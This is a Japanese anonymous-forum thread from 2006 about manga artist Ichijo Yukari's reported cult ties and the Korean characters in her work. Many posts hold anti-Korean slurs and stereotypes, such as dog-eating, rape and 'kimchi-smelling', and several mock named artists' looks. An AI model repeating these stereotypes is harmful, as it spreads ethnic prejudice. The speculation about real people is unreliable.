負けたよ…がイイ!

261 :花と名無しさん:2006/08/03(木) 13:30:27 ID:???0
美人漫画家とかいわれてた頃が忘れられなくて
その頃と同じ髪型にしちゃう、てのは
おばちゃんにありがちなことだよ…

262 :花と名無しさん:2006/08/03(木) 13:32:28 ID:???0
いまだにバブル時代の髪型してる40代とかいるもんね

263 :花と名無しさん:2006/08/03(木) 13:40:36 ID:???0
>>259
ヅラじゃなね?

264 :花と名無しさん:2006/08/03(木) 13:44:35 ID:???0
スレ住民がウプしてくれたコーラス別冊の一条ゆかり特集では
一条は他の漫画家達からは完全に美人漫画家扱いだったね。
そういう扱いしないと怒られるのかもしれないけど。

265 :花と名無しさん:2006/08/03(木) 13:54:08 ID:???0
>>263
ヅラならなんであんなダサヅラをw
いまはオシャレで自然なエクステとかあるのにね

266 :花と名無しさん:2006/08/03(木) 14:03:33 ID:???0
いま一番もにょってるのは、あの天ツラですら、カルトとはいえ取材していたのに
プライドではなんで取材しなかったのさということなんですが・・・。

御大の考えてることは本当にわからん


267 :花と名無しさん:2006/08/03(木) 14:04:55 ID:???O
デザイナー亜美が理想だから。
亜美に似てると誉めると人当たり違う。

268 :花と名無しさん:2006/08/03(木) 14:13:22 ID:???0
カルト宗教の広告塔は許されることじゃないが
御大の漫画家生命が終わってしまうのは
信者(宗教の信者じゃなくて、漫画の熱烈ファン、信者という意味ね)
としてツライ。

269 :花と名無しさん:2006/08/03(木) 14:18:58 ID:???0
>>297
髪型がデザイナー亜美に似てると思ったら
似せてたのか…!

270 :花と名無しさん:2006/08/03(木) 14:20:38 ID:???0
山本鈴美香の信者たちは「これは「ひっくりかえったおもちゃ箱」的に
解釈すると〜」「「H2O前代未聞!?」のあのせりふはさぁ〜」などと
議論を戦わせてるらしいから一条信者も過去作品が大量にあるんだし
似たようなことすればいいじゃん?

271 :花と名無しさん:2006/08/03(木) 14:20:45 ID:???0
亜美より亜美のおかーさんのほうを目指してほしかったわ
あの人こそ本当のプライドを持った人だと思う

272 :花と名無しさん:2006/08/03(木) 14:24:01 ID:???0
今はもうおばさんだけど
若い頃は美人だったんだろうなぁ

273 :花と名無しさん:2006/08/03(木) 14:25:25 ID:???0
>>272
若い頃の写真を見た事あるけど、
おせじにも美人とは言えなかった。(^ω^;)
太ってもいたし。

274 :花と名無しさん:2006/08/03(木) 14:26:01 ID:???0
漫画家生命が終わるわけないじゃん。
本出せば売れる状況であれば、出版しようという香具師は必ず出てくる。
今の時代、出版事業を始めるのは簡単なことだ。

275 :花と名無しさん:2006/08/03(木) 14:27:04 ID:???0
顔面偏差値が低かった当時の女流漫画界ではブイブイ言わせられたんじゃない?
太刀掛秀子とかひどかったし

276 :花と名無しさん:2006/08/03(木) 14:28:37 ID:???0
>>275
他の漫画家の事言うのはやめようよ。

277 :花と名無しさん:2006/08/03(木) 14:29:00 ID:???0
>>273
本人的にはグラマラスと思ってたんじゃ?
肉感的な美女とか脳内変換

278 :花と名無しさん:2006/08/03(木) 14:30:28 ID:???0
一条先生…本気でショックだ
お願いだからちゃんとした声明を出してくれ
貴方の漫画で宗教に引っかかった人がいるなら、逆のことだって出来る
被害者を救うことだってできるよ

279 :媚韓関係:2006/08/03(木) 14:35:16 ID:???0
「いいなー韓国」の会話
近くて低料金で食い倒れや安物買いできる場所として一時期流行ったので、媚韓と言われるほどの問題じゃない。
台湾との違いは焼肉とあかすり。今じゃ古いけど。

韓国学生
バレエとか芸術部門でも最近は韓国人が出てきたから、そういうことかと思った。
「力強さはあるけど、力任せじゃだめ」ってのはリアルだし。
それにオペラの本場で、美人でゴージャスで一発で入学もできちゃう塩と並べて、韓国学生の評価を下げるって失礼じゃないかw
まぁあちらの国では日本はもっとこきおろされてるけど。日本にそんな品性はいらないし。
ということであの学生を出すのは正直やめてほしかった。意味不明。

280 :花と名無しさん:2006/08/03(木) 14:37:02 ID:???0
一時期流行った

流行ったか?

281 :279:2006/08/03(木) 14:37:33 ID:???0
ちなみにね、ネットしない友達は旅先の選択肢に韓国普通に入ってるよ。
世の中の認識なんてまだそんなです。

282 :花と名無しさん:2006/08/03(木) 14:38:42 ID:???0
マスコミの中だけで流行ってた。

283 :花と名無しさん:2006/08/03(木) 14:39:17 ID:???0
>>280
うん、はやった。
2〜3年前とか、日帰りで行けるし、低料金だし、日本語通じるからって。
自分はとっくに嫌韓だったので行くことはなかったけどね。


284 :花と名無しさん:2006/08/03(木) 14:40:06 ID:???0
>>278
>貴方の漫画で宗教に引っかかった人がいるなら

そういう人は何を読んでも引っかかると思う。


285 :花と名無しさん:2006/08/03(木) 14:41:18 ID:???0
>>284
マルチなんかでもそうだし、広い意味でCMなんかも
同じ意味だよねw


286 :花と名無しさん:2006/08/03(木) 14:42:02 ID:???0
>>280
自分の知ってる限り無韓の人を中心に一時期流行ったよ
ヨンだとかじゃなく、安い・美味い・偽ブランドの三点セットでw
ワールドカップ前の時なんか、韓国が中国の都市の名前だと思ってる人もいたし
引っかかる人は多かった
しかし、実態を知るに連れて客足が遠のき、ワールドカップが決定打になって
冬ソナブームが仕掛けられた

287 :花と名無しさん:2006/08/03(木) 14:42:23 ID:???0
確かに流行ったね。週末手軽に安くいける海外、って事で。

288 :花と名無しさん:2006/08/03(木) 14:46:21 ID:???0
ワールドカップ前、鈍韓だった頃
安い値段で行ける海外ということで
恥ずかしながら韓国行ったことある。
でもあまり見るところなかった。
汚くて臭い街だったし。
食べ物も、日本で食べる焼肉屋のほうがまだ美味しいと思った。

現実には流行ってはいなかったよ。
マスコミが一生懸命はやらせようとしていただけ。
釣られたのは私みたいなバカぐらいさ。

289 :花と名無しさん:2006/08/03(木) 14:48:23 ID:???0
>>283
2〜3年前というんならウソだね。
韓国旅行がだんだん落ち込んでる頃じゃないか…。

290 :花と名無しさん:2006/08/03(木) 14:48:49 ID:???0
>>288
イ`


291 :花と名無しさん:2006/08/03(木) 14:49:38 ID:???0
そしてサッカーにもネットにも縁のない人が冬ソナブームにのっかって・・・
お土産でアクセサリーもらったんだけど、日本の安い系のアクセショップに売ってた。
あっちで作ってたんだなぁ・・・

>>288
見る所がないらしいねw
自分をバカなんていうな。どの国だって観光収入は大切なんだし。

292 :花と名無しさん:2006/08/03(木) 14:50:58 ID:???0
>>289
嘘じゃないよ、私の周りでは。ドラマまっさかりだったじゃん。
なんであんな見ててはずかしいのにはまるのかも意味不明

293 :花と名無しさん:2006/08/03(木) 14:54:01 ID:???0
まあ、時期を問わず日本にはまだまだ無韓の人が多いということで
バレてきてるからあちらさんは必死なんだろうね

294 :花と名無しさん:2006/08/03(木) 14:55:11 ID:???0
流行ってたのか・・・世の中とのギャップを感じる・・・

295 :花と名無しさん:2006/08/03(木) 14:56:13 ID:???0
>>294
ひきこもりかよ

296 :花と名無しさん:2006/08/03(木) 14:56:18 ID:???0
韓国旅行は若い女性ではなくて
実際は、ギャンブルや性産業目当ての男性客が多いからね。

「グルメ」「垢すりエステ」「美容整形」「安く買えるメガネ」
「偽ルイヴィトンバッグ」などで釣って
日本人女性観光客を増やそうと頑張ってたみたいだけど
ワールドカップ前は今ほどテレビ番組が媚韓ではなかったので
「衝撃! 韓国の美容整形で失敗して無残な顔に!」
みたいな特集もワイドショーで放送されたりしてた。

そんなこんなで、韓国ってなんとなく
何か怖いようなイメージがあったので
いくら安く行けるといってもちょっと行く気になれなかったな。

297 :花と名無しさん:2006/08/03(木) 14:58:07 ID:???0
292のまわりは恥ずかしい人間しかいなかったということでFA

298 :花と名無しさん:2006/08/03(木) 15:03:39 ID:???0
>>297
そんな結論ってorz

299 :花と名無しさん:2006/08/03(木) 15:07:46 ID:???0
おばちゃんでしょ。自分のまわりで韓国旅行が流行ったと主張してる人は。
私の会社でもおつぼねは韓国旅行にはまってたし。

300 :花と名無しさん:2006/08/03(木) 15:24:50 ID:???0
韓国なんて、中国のパチモンって印象なんじゃないの、普通の人は

301 :花と名無しさん:2006/08/03(木) 15:25:02 ID:???0
20代だってネットしない人は沢山いるんだよ(´・ω・`)
ここは住人の年齢層が高いもんだと思ってた。

302 :花と名無しさん:2006/08/03(木) 15:26:23 ID:???0
ネットしない人でも韓国旅行なんてはやってないって。


303 :花と名無しさん:2006/08/03(木) 15:28:47 ID:???0
台湾とか香港とかには行く子いたけどなぁ
中韓に行く子なんていなかったよ。

304 :花と名無しさん:2006/08/03(木) 15:30:22 ID:???0
マスコミが「流行ってます!」って言ってた時期があるけど、それも
結構前だな。
本当にその時期はやってたかは知らんが。

305 :花と名無しさん:2006/08/03(木) 15:31:42 ID:???0
どうして「ない」と言い張るのかがよくわからない。
確かに個人的には流行りは無かったけど。




306 :花と名無しさん:2006/08/03(木) 15:31:59 ID:???0
安い近い美味い韓国へ行こうって
15年位前じゃ?


307 :花と名無しさん:2006/08/03(木) 15:35:03 ID:???0
ここでも韓国の事少し出てる
http://chorus.shueisha.co.jp/pasoki/index.html

308 :花と名無しさん:2006/08/03(木) 15:35:21 ID:???0
>>306
15年まえじゃ行っても施設が整ってないでしょw

309 :花と名無しさん:2006/08/03(木) 15:38:15 ID:???O
>>239
大きな会社でも受付はだいたい派遣社員だよ

310 :花と名無しさん:2006/08/03(木) 15:40:05 ID:???0
>>308
ご存じないかもしれませんが、ソウルはオリンピック前後で激変しました
韓国旅行が「流行った」のはオリンピック直後〜しばらくのこと


311 :花と名無しさん:2006/08/03(木) 15:41:01 ID:???0
韓国旅行が流行ってなかったと主張する人々は一体何なんだろう。
普通に考えてメジャーな旅行先だったじゃん。
安いの大好きなおばちゃんやOL、学生なんかは行ってたと思うよ。
キムチ焼肉垢すりに魅力感じない人やリゾートに行きたいタイプの人は
スルーしてたけど。

312 :花と名無しさん:2006/08/03(木) 15:42:04 ID:???0
無知の自覚がないバカでしょ>主張する人々


313 :花と名無しさん:2006/08/03(木) 15:48:33 ID:???0
同意。
それなりに流行ってた、というかお手軽な旅行先として定番かと。
周りに全く行った事がある人がいない、というのが不思議・・・。

314 :花と名無しさん:2006/08/03(木) 15:52:26 ID:???0
人は同じレベルの人と集うから
自分も周囲も
外国に遊びに行かない/行けないから知らなかったんじゃないの


315 :花と名無しさん:2006/08/03(木) 15:54:04 ID:???0
とりあえず修学旅行が韓国だった。
嬉しくなかった。

316 :花と名無しさん:2006/08/03(木) 15:54:54 ID:???0
外国=韓国だと思ってるようなレベルの人達が集う板↓
http://sakura03.bbspink.com/kgirls/

317 :花と名無しさん:2006/08/03(木) 15:55:09 ID:???0
私の通ってた高校も修学旅行は韓国だった
海外解禁になって一斉に飛び立ったんだったか

318 :花と名無しさん:2006/08/03(木) 15:55:39 ID:???0
>>316
悔しいの?悔しい?w

319 :花と名無しさん:2006/08/03(木) 15:57:55 ID:???0
日韓WCよりだいぶ前に友達に韓国旅行に誘われたけど
焼肉なら日本で食べられるし、垢すりぐらいでは
海外行く気にはならなかったなぁ。良かった行かなくて。

一条については、天ツラのときみたいにバタバタとした終わりに
してほしくないので、それだけが気がかり。
天ツラに出てきた宗教観の記憶がさっぱりない…興味なさ過ぎて。


320 :花と名無しさん:2006/08/03(木) 16:00:39 ID:???0
若い女性の旅行先としては韓国は流行ってなかったけど
(テレビや雑誌では流行ってる流行ってると盛り上げても
 実際に釣られる人は少なかったということ)
高校の修学旅行先としては韓国旅行は流行ってたかもしれんわ。
私の母校の修学旅行先が韓国旅行だった…カワイソス(´・ω・`)

321 :花と名無しさん:2006/08/03(木) 16:01:54 ID:???O
修学旅行が韓国行きって話題になったのは覚えてる。
韓流ドラマにハマってる主婦じゃないから、高校生は嬉しくないだろね〜
と言う話題でw

エステ大好き、グルメを自称してる一条が一時的に韓国に
ハマるなら理解できるんだが…。
なぜ取材や信者として新興宗教に関わりもったのか、経緯が知りたい。

322 :花と名無しさん:2006/08/03(木) 16:02:24 ID:???0
なんのスレですかここw

323 :花と名無しさん:2006/08/03(木) 16:03:40 ID:???0
5年位前は私はネットやってなかったけど
韓国って地震もないのにデパートが崩壊したり
地下鉄が放火されて車掌が逃げる国だという印象が強くて
怖くて韓国には行きたいとは思えなかったわー。

324 :花と名無しさん:2006/08/03(木) 16:05:24 ID:???0
韓国スレ

325 :花と名無しさん:2006/08/03(木) 16:09:10 ID:???0
犬を食べて、しかも女がその犬よりも地位が下という現実があるし
レイプは自国他国構わずマンセー…
そういうのすら一条さんはどうでも良かったんだろうか…
少女に夢を売ってるんじゃなかったのか

326 :花と名無しさん:2006/08/03(木) 16:15:36 ID:???0
>>325
だからおばさんは、そういうあたりまえの感覚にうとくなるんだよ。
そしてエロレイプ教団の信者へ…

327 :花と名無しさん:2006/08/03(木) 16:16:12 ID:???0
んとね、そこのシーンだけ抜き出して語っても通じないんだわ。
たとえば安アパートで暮らす萌と、大手レコード会社の受付嬢との
韓国旅行会話。
この受付嬢はモロ端役。アシスタントの絵。エピソードとして独立してない。
彼女が「旅行に行く」ことは物語上ほとんど意味がない。
旅行に出るので冷蔵庫の中の物をもらってくれ、と言いに萌の部屋に来た、
そしてそこで物語の展開にかかわる噂話を振る…という流れなわけです。
つまり、旅行先はどこでもいい。言わなくてもいい。
その後彼女が土産を持ってくるわけでも土産話をするわけでもないのだから。
大手レコード会社の受付嬢、若くて美貌、その彼女が
「別に旅先を言わなくてもいいシーンでわざわざ韓国に行くといい、萌が羨ましがる」
という、無意味なシーンにコマを使ってる。
そして選んだ旅先はゴージャス好きの一条ゆかりらしくない。何故? ここで違和感がちょいと募る。

そして留学の塩の韓国留学生のエピソード。
塩はテクニックはあるが、もっと必要なものがないと本場の歌手に指摘を受けての留学。
「オペラで生まれ育った本場の空気を感じなさい、それが貴方に最も必要なことだ」という
内容のアドバイスを受け、美貌もテクニックも兼ね備えた塩はその唯一の欠点を克服するために
本場欧州へ行ったわけだ。
この流れなら塩がショックを受けるのは「テクニック以外の何かで圧倒的に敵わない現地っ子」という
流れがくるのが自然。つかフツーそうでしょ。そのための留学。
ところが最初にショックを受けたのが「オペラの本場ではない同じアジアの留学生」の歌声にだよ。
しかもこれもモロ端役、アシ絵のキャラ。塩は「骨格が違うのかしら、日本人には決して出せない声」と絶賛。
なせ本場欧州に来てまでアジア同士やねんと。韓国人である必然性が皆無どころか流れを阻害する。
おまい「日本人よりか黒人の方が歌の才能がある」的なこと書きたかったのか? とちょいと違和感。
しかもこのあたりは萌・塩ダブルで「日本人だから」という理由で嫌われさげすまれる流れと並行している。

しかもこのモロ端役の韓国人留学生には自己紹介のシーンがあり、名を「ヘギョン」と言う。

328 :327:2006/08/03(木) 16:17:44 ID:???0
>日本人よりか黒人の方が歌の才能がある

何故黒人。
韓国人、と書きたかった。

329 :花と名無しさん:2006/08/03(木) 16:18:43 ID:???0
>>327

その状況設定ならハワイあたりが妥当だな・・・


330 :花と名無しさん:2006/08/03(木) 16:19:13 ID:???0
なんでヘギョン?
横田さんの娘とかけたの?

331 :花と名無しさん:2006/08/03(木) 16:22:49 ID:???0
空気よむという感覚も鈍る、というかもともと持ち合わせてないかだ。
一般社会での女王様みたい〜という周りの嘲笑込みの言葉を、一条は今だに本気にしてたりして。
今では虚構の摂理の中でのみ、女王気分を味合わせてもらったんだろうね。

332 :花と名無しさん:2006/08/03(木) 16:26:49 ID:???0
>>331
このスレでも女王の一条が宗教にはまるわけないって
ひんぱんに書き込みされてたし

333 :あぼーん:あぼーん
あぼーん

334 :花と名無しさん:2006/08/03(木) 16:35:49 ID:???0
別に摂理に取材しなくてもな

335 :花と名無しさん:2006/08/03(木) 16:38:25 ID:???0
>>333
がそういうタイプに思ってなかっただけで、そういうタイプだったってことだ

336 :花と名無しさん:2006/08/03(木) 16:39:39 ID:???0
宗教に嵌ったというより、女王様扱いしてくれる環境にはまったんだろーなー

337 :花と名無しさん:2006/08/03(木) 16:41:04 ID:???0
>>327
無意味、話の流れに関係ないといいながら何故そんなに韓国ネタに反応するの?
本筋に無関係な部分だからちょっとお遊びでマイブームを主張してみただけでしょ。
少なくとも大多数の読者にはその程度にしか思われてない。
萌はともかく塩が日本人だからって蔑まれてる描写なんかあった?
あと留学生の名前はチヒョンじゃなかったっけ?

338 :花と名無しさん:2006/08/03(木) 16:41:39 ID:???0
天使のツラノカワ連載中、このスレでは
天使のツラノカワで出てきたキリスト教の教えが
キリスト教に多少でも詳しい人なら
つっこみどころだらけだったために
「牧師と神父の定義がめちゃくちゃ」
「本当に取材してるのか?」
「まぁ御大のことだから、悪気はないけどミーハー気分で
 よく調べないでキリスト教を書いてるんでしょう」
みたいな感じの書き込みはあったよね。

でもちゃんと取材はしていて、その取材先が
韓国系キリスト教だったとはさすがに思いつかなかった。
俗っぽくてデタラメなのも、韓国系キリスト教の教義には
合ってたんだろうね。

339 :花と名無しさん:2006/08/03(木) 16:47:15 ID:???0
御大も体目的の教祖に騙されたんだろうな

340 :花と名無しさん:2006/08/03(木) 16:49:17 ID:???0
>>339
ナイナイw

341 :花と名無しさん:2006/08/03(木) 16:50:09 ID:???0
>>337
塩の先生は「日本人嫌い」だとハッキリ書かれてたよ。

342 :あぼーん:あぼーん
あぼーん

343 :花と名無しさん:2006/08/03(木) 16:53:02 ID:???0
韓国系キリスト教…
聞くだけで生理的嫌悪感が。
信者の未成年の女の子レイプしまくった教祖、他にもいたしよけいにゾワ〜

344 :花と名無しさん:2006/08/03(木) 16:53:43 ID:???0
>>342
>まぁ宗教団体に近付くのは危険だとww
これ同意。
同級生がいきなりキリスト教(宗派不明)にはまって、
もともとその人とはそれなりに仲が良かったんで、
勧誘を断るのが大変だった。
普通に買い物&お茶に出かけても、聖書の話は始まるし、
日曜の朝7時に電話してきて礼拝に誘ったり。
偶然電車で遭っても、すぐに神様についての話で、
そういう話さえなければ全く問題なかっただけに、
凄いきつかった。


345 :花と名無しさん:2006/08/03(木) 16:59:23 ID:???0
マレーネママの日本人嫌いは木原さわこと旦那の愛人への私怨じゃん。
他の学生&教授はシオは美人で華やかで勤勉で…とマンセーのオンパレード。
萌の先生も今月号で実はいい人発覚だし。

346 :花と名無しさん:2006/08/03(木) 17:00:33 ID:???0
普通のキリスト教やクリスチャンには
全然悪いイメージはなくて、むしろ良いイメージのほうがあるけど
韓国系キリスト教とか
韓国系じゃなくても、
エホバやモノミの塔みたいなキリスト教には
恐ろしいイメージがあるなぁ。

347 :花と名無しさん:2006/08/03(木) 17:02:42 ID:???0
>天ツラに出てきた宗教観の記憶がさっぱりない…興味なさ過ぎて。
同じ。
ミッション系で聖書の時間があったんだけどw違いに気付く以前に宗教に興味がなくてスルーしてた。

348 :花と名無しさん:2006/08/03(木) 17:03:27 ID:???0
>>346
普通は近付かんわなーカルトには


349 :あぼーん:あぼーん
あぼーん

350 :花と名無しさん:2006/08/03(木) 17:06:29 ID:???0
一条ゆかりがこんなのに引っかかるとはなぁ

351 :花と名無しさん:2006/08/03(木) 17:08:04 ID:???0
>>347
私もツラノカワの宗教のウンチク部分は
難しいのと興味ないのでスルーしてたから同じ。

ただ、リアルタイムで一条ゆかりスレを見てたら
スレ住民で詳しい人が
色々つっこんでるのを読んで「へー」と思ってた。

天使のツラノカワ時代の少女漫画板の一条ゆかりスレの
過去ログをもう一度読みたくて、肉ちゃんねるとかをあさってるけど
あんまりスレが出てこないんだよね。
dat落ちしたまま消えちゃったスレもあるのかも。

352 :花と名無しさん:2006/08/03(木) 17:12:47 ID:???0
>>327はむりやりこじつけ感がある。
>わざわざ韓国に行くといい、萌が羨ましがる
萌は「えー?韓国なんかいくんですか?」って言うようなキャラじゃないし。外面がいいんだよ、萌は。
それにバリやハワイに1、2泊では行けないし、連休じゃなければ近場は普通。

オペラは>>279>>345に同意

>>327は思い込みが激しすぎなんじゃない?

353 :花と名無しさん:2006/08/03(木) 17:20:36 ID:???0
>>350
自分も思わんかった
誰かが書いてたがこの人は宗教にハマるより、自分で教祖になるタイプだと思ってたから
ぶっちゃけ今でもあの韓国人教祖を敬っている姿が想像できないよ
有名になってお金もあって取り巻きがいても心の隙間みたいなもんはあるんだろうか

>>327
前半はわざわざ突っ込まなくてもいいとは思ったけど、後半の
>最初にショックを受けたのが「オペラの本場ではない同じアジアの留学生」の歌声
これは自分もリアルタイムで読んでて違和感があった。わざわざ描く必要があるの?って
まー取材した時に「韓国人の声量は凄い!」って誰かに吹き込まれて、そのまま書いたんだと思うけど
実際がどうのでなく、欧州に渡っているんだから韓国人じゃなくイタリア人になるほうが”漫画として”自然だよね

354 :花と名無しさん:2006/08/03(木) 17:22:30 ID:???0
過去ログにある、一条ゆかりが教祖に…のほうが
まだ納得できるんだよね。(ミウッチーは本人が教祖だしww)
キムチ臭い教団の信者になるよりは。


355 :花と名無しさん:2006/08/03(木) 17:22:47 ID:???0
>まー取材した時に「韓国人の声量は凄い!」って誰かに吹き込まれて、そのまま書いた
絶対これだと思うww
ちょっと知ったかぶりしちゃった的な。

356 :花と名無しさん:2006/08/03(木) 17:25:18 ID:???0
つか名前「チヒョン」なのに「ヘギョン」と思い込むって普通におかしい。
>>327は少し頭を冷やした方がいいよ。かえって失礼だし。

モロ端役の自己紹介だって6人もの人物が口々に自己紹介してるページで
しかも他の人はパートとか言ってるのに当の韓国人は名前しか言ってない。
むしろ扱いは小さいとしか言いようがないよ。

>>353
私はあれもそこまでは気にならなかった。
留学経験のない日本人<<<留学してる韓国人<<<現地の欧米人っつー
マレーネを持ち上げるための当て馬じゃない?
実際その後よきライバルとして定着するのはマレーネだし。

357 :花と名無しさん:2006/08/03(木) 17:25:54 ID:???0
もし一条が媚韓だとしても、その韓国学生を「声量があるだけ」と批判したのもなんか変。
本当はライバルにするつもりが、韓国人を出すといろいろうるさいからあれだけになったとか?<火か五参照
西欧人にしてほしかった。

358 :花と名無しさん:2006/08/03(木) 17:27:57 ID:???0
十字式と摂理とどう関係があるの?

359 :花と名無しさん:2006/08/03(木) 17:30:56 ID:???0
>>356
>つか名前「チヒョン」なのに「ヘギョン」と思い込むって普通におかしい。
327も荒しの釣りなんじゃないかな
漫画読んでない人がここを読めばそう思い込むし、昨日もヘギョンの書き込みあったけど訂正してる人いなかったから
にわかの私はヘギョンだったっけと思ってたし(スマソ


360 :花と名無しさん:2006/08/03(木) 17:48:24 ID:???0
チラ見せする分には国際色豊かな感じでいいんじゃね?と思ったよ>韓国人留学生
マレーネのポジションになったらウザスだったけど。
つかいきなり目立って、自己紹介のときは素っ気無かったからそのうち萌みたいに
陰謀仕掛けてくるキャラになるかと思ってた。

361 :花と名無しさん:2006/08/03(木) 17:49:06 ID:???0
ヘギョンって名前…普通なら避けるだろ… ○| ̄|_無神経すぎる…

362 :361:2006/08/03(木) 17:50:04 ID:???0
>>356
あ、そうなのか。
だったら間違った人の方がヒドス

363 :花と名無しさん:2006/08/03(木) 17:55:56 ID:???0
週刊新潮をよんでここにきました

364 :花と名無しさん:2006/08/03(木) 18:07:08 ID:???0
私は不自然だとは思わないし思えない<韓国人留学生のシーン。

確かに、中国とか韓国とかの大陸の方の人って、すごい声をしてる。
自分はオペラじゃなくてミュージカルで見たんだけど、なんともいえない
綺麗な声をしてたよ。涼しげな声、というか。
ミュージカル界ではすでにフィリピン人のリア・サロンガによって
アジア人の地位が高くなっている。
オペラも今は西欧人が中心になっているけれども、将来的には
アジア人の台頭も充分ありえるわけでしょ?
それを示唆するシーンだとしたら、媚韓とは違うんじゃない?

365 :花と名無しさん:2006/08/03(木) 18:13:50 ID:???O
好きな俳優さんのスレで名前が出てたので来てみたけど、
ガチでカルトの手下なのかorz
小学生の頃、有閑倶楽部読んでたお。
よりによってニダかよ。悲しい。

366 :花と名無しさん:2006/08/03(木) 18:13:53 ID:???0
>>364
こういうレスをまっていた。
住人無知なんだよね。(もちろん私も)

367 :花と名無しさん:2006/08/03(木) 18:16:48 ID:???0
>>366
だったら、フィリピン人留学生じゃだめだったのかな…

368 :花と名無しさん:2006/08/03(木) 18:18:37 ID:???0
>>367
「声量だけ」とこき下ろすには可哀想だったのではw

369 :花と名無しさん:2006/08/03(木) 18:20:48 ID:???0
クラ板では韓国系オペラはプッ( ´,_ゝ`)な扱いだけどねぇ…。

370 :花と名無しさん:2006/08/03(木) 18:29:43 ID:???0
>>369
だったら全然媚韓じゃないねw

371 :花と名無しさん:2006/08/03(木) 18:33:00 ID:???0
西洋からすればアジア一緒くただし、もし韓国人が多ければ自国のすばらしさと日本のしょぼさを声を大にして言ってると思う。
御大が取材に行った時に、あちらの人は気を使ったつもりで「韓国の学生さんも増えましたよ」なんて話したとかw

372 :花と名無しさん:2006/08/03(木) 18:33:20 ID:???0
>>230
>「きっと、もう御大は最近の流行にはついていけなくなって
> 韓流がお洒落で流行に合ってるんだと思ってるんだね。
> 老化現象だから可哀相だし、つっこんじゃいけないんだコレ…」
>と思ってこのスレでは私はあえてつっこまなかった。

まるまるそう思ってたから、特に違和感感じなかったよw
話の筋にも関係なかったし。

373 :花と名無しさん:2006/08/03(木) 18:41:48 ID:???0
>>367
フィリピン人のリア・サロンガが日の目を見たのは、オペラ“蝶々夫人”を
基にしたミュージカル「ミス・サイゴン」があったから。
「ミス・サイゴン」はその名の通りベトナムが舞台で、ヒロインはベトナム人。
だけどベトナムは英語圏ではなく、「ミス・サイゴン」はロンドンで上演
されるわけだから全編英語。そこで、アジアの中でも英語が母国語である
フィリピンのリアがヒロインに選ばれたわけ。
それだけだから、別にフィリピン人の声が特に優れているわけではない。

アジア人留学生で、大陸系となると、やっぱり韓国人は妥当だと思う。
塩が留学先で最初に衝撃を受けるのが韓国人のはおかしいって
いうけれど、イタリア人の歌は来日公演なんかで腐るほどきける。
だけど、大陸系アジア人が日本人と全然声が違うと言うのは、ああいう
時じゃないと解らないもの。別に、媚韓のためのシーンなんかじゃないと思う。

374 :花と名無しさん:2006/08/03(木) 19:07:39 ID:???0
なるほど。
>だけど、大陸系アジア人が日本人と全然声が違うと言うのは
ちょっと聞いてみたいと思ったよ。
ローザンヌバレエでも半島人をよくみるようになったけど、やはり日本人の露出するものを追いかけてる結果なのかな?
中国人は出なくなったし、他アジア人は見たことがない。
その見たことがない国の人達は興味の対象が日本と違うからか?と。スレチだね、スマン

375 :花と名無しさん:2006/08/03(木) 19:16:12 ID:???0
じゃあ、オペラにおいて日本人<<<韓国人の図式でFA?
事実を書いた御代は媚韓ではないのでしょうか

376 :花と名無しさん:2006/08/03(木) 19:18:20 ID:???0
キメェwwwwwww

377 :花と名無しさん:2006/08/03(木) 19:20:45 ID:???0
媚韓認定できないからってふぁびょるなよ信者w

378 :花と名無しさん:2006/08/03(木) 19:21:04 ID:???0
オペラの話じゃなくてスマソだけど
ピアノのショパンコンクールとかでも
韓国人も受かって入ってくるようになった。
でも、あんまりイイと思えないんだよねぇ。
日本人の真似をしてるようだけど、日本人よりもっと
ねちっこいかんじ。

クラ系の実況スレでも「チョソかよ…」みたいな
生暖かいレスになったりして。
たまにすごく不自然なほどに熱烈に援護して
「やっぱり大陸の人は素晴らしい。
 それにくらべて島国はだめだ」
みたいな人もいるけど。

379 :花と名無しさん:2006/08/03(木) 19:23:50 ID:???O
韓国と日本、どちらが優れているとかじゃない。単純に声質が違うだけ。オペラにまであなたたちの韓国への感情を持ち込まないでほしい。舞台に立てば日本人もイタリア人も韓国人も同じ

380 :花と名無しさん:2006/08/03(木) 19:26:48 ID:???0
表現方法が違うからね。
日本は形式美や全体の調和、大陸は感情を表に出してなんぼだから、「ねちっこい」と思うのは当然。
感情を演奏にぶつけるタイプが好きな人もいるしね。


381 :花と名無しさん:2006/08/03(木) 19:28:13 ID:???0
>>379
さっきからオペラの話で日本人と韓国人を比べる図式を持ち出している人がいるんだからしょうがない
スレ違い何だけどさ

382 :花と名無しさん:2006/08/03(木) 19:29:10 ID:???0
>>380
なるほどー。
そのねちっこさが、ショパンコンクールではオエと思ってしまったけど
オペラでは「感情を込めている!」ということで
「日本人にはない良さがある」と評価されることもあるわけか。
納得したーよ。

383 :花と名無しさん:2006/08/03(木) 19:30:22 ID:???0
>>379
別に持ち込んでないよ。374はどうして他アジアじゃなくて韓国人なのかを客観的に考えただけ。

384 :花と名無しさん:2006/08/03(木) 19:30:40 ID:???0
御大がそこまでややこしいことを考えて描いてるとは思えない

385 :花と名無しさん:2006/08/03(木) 19:31:30 ID:???0
>>384
ワロタ

386 :花と名無しさん:2006/08/03(木) 19:33:24 ID:???0
この人の話好きだったな。
ストーリーも、絵も好きだった。
やめるのはもったいない。
反省して少しでも多くの作品を書いて欲しい!
こんなこと思うのはへん?
釣られてる?


387 :花と名無しさん:2006/08/03(木) 19:34:31 ID:???0
アジアっていったら何十カ国もあるのに
韓国と中国と北朝鮮くらいしか思いつかなくて
「その中からだったら韓国にしよう」と決めたんでねぇの?

388 :花と名無しさん:2006/08/03(木) 19:35:05 ID:???0
>>386
下2行がイミワカラン
そんなに警戒しなくていいぽw

389 :花と名無しさん:2006/08/03(木) 19:38:54 ID:???0
>>387
韓国と中国と北朝鮮と香港と台湾くらいしかないんじゃない?


390 :花と名無しさん:2006/08/03(木) 19:43:53 ID:rk8w5frD0
連載打ち切りとかって噂の段階なんでしょ

391 :花と名無しさん:2006/08/03(木) 19:49:11 ID:???0
>>386
一条が自分からやめるわけはないし、集英社も、稼げる一条をやめさせないとオモ。
しばらくは自粛して休載するかもしれんが、ほとぼりがさめた後
何事もなかったかのように漫画を描き続けてるに100モナー。

392 :花と名無しさん:2006/08/03(木) 19:50:45 ID:???0
しかしツラノカワ読んだことないけど、
スレをざっと読んだ印象だけで語るなら
神父と牧師を混同するような無キリスト教状態ならば
韓国カルトに「ここで取材するといいですよー」って連れて行かれても
何かがおかしいとは気づかなかったに違いない。

楽をしようとするからいかんのだ。
ちゃんとてめえの頭で最低限は調べて考えろ。

393 :花と名無しさん:2006/08/03(木) 19:51:16 ID:???0
>>387
何十ヶ国もあるていうんなら挙げてみなさいよwwww
挙げられないんでしょwwwwwwwwwwwww
